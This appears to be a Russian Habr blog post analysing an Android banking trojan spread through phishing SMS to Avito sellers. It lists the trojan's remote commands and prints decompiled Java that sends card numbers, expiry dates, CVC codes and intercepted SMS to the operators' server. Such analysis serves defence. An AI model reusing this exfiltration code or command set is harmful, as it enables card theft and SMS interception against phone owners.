Как я позорно деактивировал ботнет
Статья не соответствует заголовку, сервер внезапно поднялся. Двойной позор.
Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.
Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.
Исследование APK
Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.
Итак, что умеет этот троян:
delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
sent&&& — отправка заданных СМС-сообщений с сервера
rent&&& — перехват всех СМС-сообщений и отправка их на сервер
sms_stop&&& — отмена перехвата СМС-сообщений
ussd&&& — USSD-запрос
call_1&&& — установка и отмена безусловной переадресации
Немного кода из моих заметок
protected HttpRequestBase a() { try { HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c()))); arraylist.add(new BasicNameValuePair("number", b)); arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue()))); arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue()))); arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue()))); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("set_card.php").toString()); } protected HttpRequestBase a() { try { HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b))); arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b))); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("get.php").toString()); } protected HttpRequestBase a() { try { JSONObject jsonobject = new JSONObject(); jsonobject.put("text", c); jsonobject.put("number", d); jsonobject.put("date", e); HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b))); arraylist.add(new BasicNameValuePair("sms", jsonobject.toString())); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } catch(JSONException jsonexception) { jsonexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("load_sms.php").toString());
Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера. Читать дальше →
Источник: Хабрахабр
Похожие новости
- Распознаем STL-код легко: std::vector
- Есть ли жизнь после Cisco ISE? Распаковка и тест-драйв российского NAC от Eltex в сетевой лаборатории
- ИИ взломали. Кто бы мог подумать?
- DPI, ТСПУ и операторы: архитектура блокировки трафика в России
- Максим Котенков: Мы сделали своё API для семантического анализа — и это убрало 70% рутины при подготовке SEO-ТЗ
- Почему автотесты пропускают изменения в API и как это исправить с Pydantic
- Что сегодня действительно важно в AI: 10 направлений по версии MIT Technology Review
- АЙNET: АЙNET: 30% крупных брендов отказываются от лендингов в пользу чековых ботов, а интерес к промо в Max вырос на 40%
- Как мы написали свой forward-proxy на Go и отказались от VPN для доступа к админкам
- i-Media: 43% потребителей идут на маркетплейсы за эмоциональной подзарядкой, а нейросети вытесняют поисковики: i-Media выпускает обзор digital-рынка за Q1 2026